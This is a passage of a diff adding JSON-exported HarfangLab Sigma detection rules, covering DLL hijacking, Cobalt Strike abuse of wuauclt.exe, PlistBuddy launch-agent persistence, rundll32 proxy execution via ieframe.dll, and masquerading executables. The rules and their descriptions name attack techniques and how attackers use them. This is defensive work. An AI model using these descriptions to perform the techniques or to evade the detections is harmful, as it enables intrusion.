'?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "07ddc2b1-4842-43eb-92d7-df872335fcf9",
+  "rule_name": "DLL Hijacking via adobe_licensing_wf_helper.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Visual Studio adobe_licensing_wf_helper.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate signed executable to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-12-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "081076fd-302d-429b-88c3-9339633fee72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070904Z",
+  "creation_date": "2026-03-23T11:45:34.070906Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070910Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b",
+    "https://redcanary.com/blog/blackbyte-ransomware/",
+    "https://attack.mitre.org/techniques/T1055/",
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "t1055_suspicious_process_wuauclt.yml",
+  "content": "title: Suspicious wuauclt.exe Execution\nid: 081076fd-302d-429b-88c3-9339633fee72\ndescription: |\n    Detects the execution of legitimate Windows Update Client (wuauclt.exe) Windows binary in a suspicious context.\n    This can be the result of Cobalt Strike's exploitation via the spawnto setting to launch temporary jobs through this legitimate binary.\n    It is recommended to analyze the newly created process and its parents for suspicious behavior or content.\nreferences:\n    - https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b\n    - https://redcanary.com/blog/blackbyte-ransomware/\n    - https://attack.mitre.org/techniques/T1055/\n    - https://attack.mitre.org/software/S0154/\ndate: 2022/01/25\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - attack.s0154\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\wuauclt.exe'\n        - OriginalFileName: 'wuauclt.exe'\n\n    selection_existing_parent:\n        ParentImage|contains: '\\'\n\n    filter_parameters:\n        # Command-line with no parameters\n        CommandLine|contains: ' '\n\n    filter_parentcommandline:\n        ParentCommandLine:\n            - '?:\\Windows\\System32\\mousocoreworker.exe -Embedding'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv'\n            - '?:\\Windows\\system32\\svchost.exe -k wuausvcs'\n            - '?:\\Windows\\system32\\svchost.exe -k bitfsvcs'\n\n    exclusion_explorer:\n        ParentImage: '?:\\Windows\\explorer.exe'\n        GrandparentImage:\n            - '?:\\Windows\\System32\\userinit.exe'\n            - '?:\\Windows\\System32\\winlogon.exe'\n\n    exclusion_command:\n        ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        GrandparentImage:\n            - '?:\\Windows\\System32\\userinit.exe'\n            - '?:\\Windows\\explorer.exe'\n\n    exclusion_sihost1:\n        ParentImage: '?:\\Windows\\System32\\sihost.exe'\n        GrandparentCommandLine:\n            - '?:\\windows\\System32\\svchost.exe -k netsvcs'\n            - '?:\\windows\\System32\\svchost.exe -k netsvcs -p'\n            - '?:\\windows\\System32\\svchost.exe -k netsvcs -s UserManager'\n            - '?:\\windows\\System32\\svchost.exe -k netsvcs -p -s UserManager'\n\n    exclusion_sihost2:\n        Ancestors|contains: '?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\sihost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "081076fd-302d-429b-88c3-9339633fee72",
+  "rule_name": "Suspicious wuauclt.exe Execution",
+  "rule_description": "Detects the execution of legitimate Windows Update Client (wuauclt.exe) Windows binary in a suspicious context.\nThis can be the result of Cobalt Strike's exploitation via the spawnto setting to launch temporary jobs through this legitimate binary.\nIt is recommended to analyze the newly created process and its parents for suspicious behavior or content.\n",
+  "rule_creation_date": "2022-01-25",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "08393432-4fef-4e8b-aa5e-fc13131e09c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093364Z",
+  "creation_date": "2026-03-23T11:45:34.093366Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093370Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/001/",
+    "https://attack.mitre.org/techniques/T1543/004/"
+  ],
+  "name": "t1543_001_launch_agents_created_plistbuddy.yml",
+  "content": "title: Launch Agent/Daemon Created via PlistBuddy\nid: 08393432-4fef-4e8b-aa5e-fc13131e09c3\ndescription: |\n    Detects the creation of a launch agent or daemon using PlistBuddy.\n    Adversaries may build a plist from scratch using PlistBuddy in order to establish a means of persistence.\n    It is recommended to check the content of the newly created plist file for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/001/\n    - https://attack.mitre.org/techniques/T1543/004/\ndate: 2024/06/18\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.001\n    - attack.t1543.004\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Tool.PlistBuddy\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Path|startswith:\n            - '/System/Library/LaunchAgents/'\n            - '/Library/LaunchAgents/'\n            - '/Users/*/Library/LaunchAgents/'\n            - '/System/Library/LaunchDaemons/'\n            - '/Library/LaunchDaemons/'\n            - '/private/var/root/Library/LaunchAgents/'\n            - '/Library/User Template/Library/LaunchAgents/'\n        Kind: 'create'\n        ProcessImage|endswith: '/PlistBuddy'\n\n    condition: all of selection_*\nlevel: medium\n#level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "08393432-4fef-4e8b-aa5e-fc13131e09c3",
+  "rule_name": "Launch Agent/Daemon Created via PlistBuddy",
+  "rule_description": "Detects the creation of a launch agent or daemon using PlistBuddy.\nAdversaries may build a plist from scratch using PlistBuddy in order to establish a means of persistence.\nIt is recommended to check the content of the newly created plist file for malicious content.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.001",
+    "attack.t1543.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0850e834-f366-4ebb-a022-79bc7b74fc1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069400Z",
+  "creation_date": "2026-03-23T11:45:34.069403Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069410Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Libraries/Ieframe/",
+    "https://github.com/op7ic/EDR-Testing-Script/blob/master/runtests.bat#L268",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_rundll32_ieframe_proxy_execution.yml",
+  "content": "title: Proxy Execution via ieframe.dll\nid: 0850e834-f366-4ebb-a022-79bc7b74fc1a\ndescription: |\n    Detects a suspicious invocation of ieframe.dll by rundll32.\n    Adversaries may abuse rundll32.exe to proxy execution of malicious code.\n    Using rundll32.exe to execute malicious code indirectly (by calling ieframe.dll's OpenURL function) may avoid detection by security tools. This is because some security solutions whitelist rundll32.exe as a legitimate Windows process or generate too many false positives from its normal baseline activity to effectively monitor it.\n    It is recommended to investigate the legitimacy of the process responsible for the execution of rundll32 and to analyze its child processes.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Libraries/Ieframe/\n    - https://github.com/op7ic/EDR-Testing-Script/blob/master/runtests.bat#L268\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2025/10/17\nmodified: 2025/10/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Ieframe\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        ProcessParentOriginalFileName: 'rundll32.exe'\n\n    selection_ieframe:\n        ParentCommandLine|contains:\n            - ' ieframe,'\n            - ' ieframe.dll,'\n\n    selection_function:\n        ParentCommandLine|contains: 'OpenURL'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_firefox:\n        Image|endswith: '\\firefox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mozilla Corporation'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0850e834-f366-4ebb-a022-79bc7b74fc1a",
+  "rule_name": "Proxy Execution via ieframe.dll",
+  "rule_description": "Detects a suspicious invocation of ieframe.dll by rundll32.\nAdversaries may abuse rundll32.exe to proxy execution of malicious code.\nUsing rundll32.exe to execute malicious code indirectly (by calling ieframe.dll's OpenURL function) may avoid detection by security tools. This is because some security solutions whitelist rundll32.exe as a legitimate Windows process or generate too many false positives from its normal baseline activity to effectively monitor it.\nIt is recommended to investigate the legitimacy of the process responsible for the execution of rundll32 and to analyze its child processes.\n",
+  "rule_creation_date": "2025-10-17",
+  "rule_modified_date": "2025-10-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "085b257b-644f-4cc1-bc25-578447cf5bf2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589223Z",
+  "creation_date": "2026-03-23T11:45:34.589227Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589234Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sihclient.yml",
+  "content": "title: DLL Hijacking via sihclient.exe\nid: 085b257b-644f-4cc1-bc25-578447cf5bf2\ndescription: |\n    Detects potential Windows DLL Hijacking via sihclient.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sihclient.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\cabinet.dll'\n            - '\\dnsapi.dll'\n            - '\\winhttp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "085b257b-644f-4cc1-bc25-578447cf5bf2",
+  "rule_name": "DLL Hijacking via sihclient.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sihclient.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0882e820-0755-4f74-94e4-b9ae77d3294d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598454Z",
+  "creation_date": "2026-03-23T11:45:34.598457Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598465Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1595/"
+  ],
+  "name": "t1595_wifi_scanning_airport_macos.yml",
+  "content": "title: Wi-Fi Networks Scanned via airport\nid: 0882e820-0755-4f74-94e4-b9ae77d3294d\ndescription: |\n    Detects the execution of the airport command to scan nearby Wi-Fi networks.\n    Attackers may use it during the discovery phase of an attack to search for unauthenticated Wi-Fi networks to connect to.\n    It is recommended to check for other suspicious activity by the parent process.\nreferences:\n    - https://attack.mitre.org/techniques/T1595/\ndate: 2024/07/03\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.reconnaissance\n    - attack.t1595\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|contains: '/airport'\n        CommandLine|contains: ' -s'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0882e820-0755-4f74-94e4-b9ae77d3294d",
+  "rule_name": "Wi-Fi Networks Scanned via airport",
+  "rule_description": "Detects the execution of the airport command to scan nearby Wi-Fi networks.\nAttackers may use it during the discovery phase of an attack to search for unauthenticated Wi-Fi networks to connect to.\nIt is recommended to check for other suspicious activity by the parent process.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1595"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "08c82317-1fb0-42b6-b3cc-cf85ace1deb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081044Z",
+  "creation_date": "2026-03-23T11:45:34.081047Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081051Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1036/007/"
+  ],
+  "name": "t1036_007_executable_with_multiple_extension.yml",
+  "content": "title: PE with Multiple Extensions Executed\nid: 08c82317-1fb0-42b6-b3cc-cf85ace1deb8\ndescription: |\n    Detects the execution of a suspicious executable with multiple extensions.\n    Attackers can add multiple extensions to an executable file to lure users into double clicking on the file.\n    Since Windows by default doesn't display the last extension, users will only be able to see the fake extension. This is done by attackers to masquerade the PE as a different file type, usually a document.\n    It is recommended to analyze the executed file to determine whether its execution is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1036/007/\ndate: 2021/03/30\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1036.007\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        Image|re: '(?i)\\.(?:xlsx?|pptx?|docx?|pdf|zip|rar|7z|png|jpe?g|bmp|gif|psd|tiff)\\s{0,4}\\.exe$'\n\n    exclusion_ranorex:\n        Image|endswith: '\\Ranorex.PDF.exe'\n        OriginalFileName: 'Ranorex.PDF.exe'\n        InternalName: 'Ranorex.PDF.exe'\n\n    exclusion_portablegit:\n        Image|endswith: '\\PortableGit-*.7z.exe'\n        Signature: 'Johannes Schindelin'\n        Signed: 'true'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "08c82317-1fb0-42b6-b3cc-cf85ace1deb8",
+  "rule_name": "PE with Multiple Extensions Executed",
+  "rule_description": "Detects the execution of a suspicious executable with multiple extensions.\nAttackers can add multiple extensions to an executable file to lure users into double clicking on the file.\nSince Windows by default doesn't display the last extension, users will only be able to see the fake extension. This is done by attackers to masquerade the PE as a different file type, usually a document.\nIt is recommended to analyze the executed file to determine whether its execution is legitimate.\n",
+  "rule_creation_date": "2021-03-30",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.007",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "08ddafaf-401d-4c3d-9389-e96925e90f0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628428Z",
+  "creation_date": "2026-03-23T11:45:34.628430Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628434Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/inital-research-of-jokerspy",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1204_002_shared_folder_execution.yml",
+  "content": "title: File Executed from Users Shared Folder\nid: 08ddafaf-401d-4c3d-9389-e96925e90f0f\ndescription: |\n    Detects the execution of a file from the Users shared folder.\n    Adversaries may try to execute binaries from uncommon directories in order to bypass security features or hide malicious binaries.\n    It is recommended to check the executed process and its parents/children for malicious behavior.\nreferences:\n    - https://www.elastic.co/security-labs/inital-research-of-jokerspy\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2024/05/10\nmodified: 2025/09/24\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1564.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        Image|startswith: '/Users/shared/'\n        GrandparentImage|contains: '?'\n\n    # This is handled by the rule d44c6de2-d37f-4e36-8fa1-f23231dd7632\n    filter_launchd:\n        ProcessParentImage: '/sbin/launchd'\n\n    exclusion_relocated:\n        Image|startswith: '/Users/Shared/Relocated Items/Security/Applications/'\n        GrandparentImage:\n            - '/sbin/launchd'\n            - '/Users/Shared/Relocated Items/Security/Applications/*'\n\n    exclusion_gimp:\n        ProcessGrandparentImage: '/Users/Shared/Previously Relocated Items/Security/GIMP.app/Contents/MacOS/GIMP-bin'\n        # todo: add signature\n\n    exclusion_logioption:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.logi.optionsplus.*'\n\n    exclusion_hotreload:\n        ProcessGrandparentImage:\n            - '/Users/Shared/singularitygroup-hotreload/executables_*/HotReload.app/Contents/MacOS/HotReload'\n            - '/Users/Shared/singularitygroup-hotreload/executables_*/HotReload.app/Contents/Resources/CodePatcherCLI'\n        # todo: add signature\n\n    exclusion_riotgames:\n        - Image:\n            - '/Users/Shared/Riot Games/Riot Client.app/Contents/Frameworks/Riot Client.app/Contents/Frameworks/Riot Client Helper (Renderer).app/Contents/MacOS/Riot Client Helper (Renderer)'\n            - '/Users/Shared/Riot Games/Riot Client.app/Contents/Frameworks/Riot Client.app/Contents/Frameworks/Riot Client Helper (GPU).app/Contents/MacOS/Riot Client Helper (GPU)'\n            - '/Users/Shared/Riot Games/Riot Client.app/Contents/Frameworks/Riot Client.app/Contents/Frameworks/Riot Client Helper.app/Contents/MacOS/Riot Client Helper'\n            - '/Users/Shared/Riot Games/Riot Client.app/Contents/Frameworks/Riot Client.app/Contents/MacOS/Riot Client'\n            - '/Users/Shared/Riot Games/Riot Client.app/Contents/Frameworks/Riot Client.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Helpers/chrome_crashpad_handler'\n          ParentImage: '/Users/Shared/Riot Games/Riot Client.app/Contents/Frameworks/Riot Client.app/Contents/MacOS/Riot Client'\n        - Image: '/Users/Shared/Riot Games/Riot 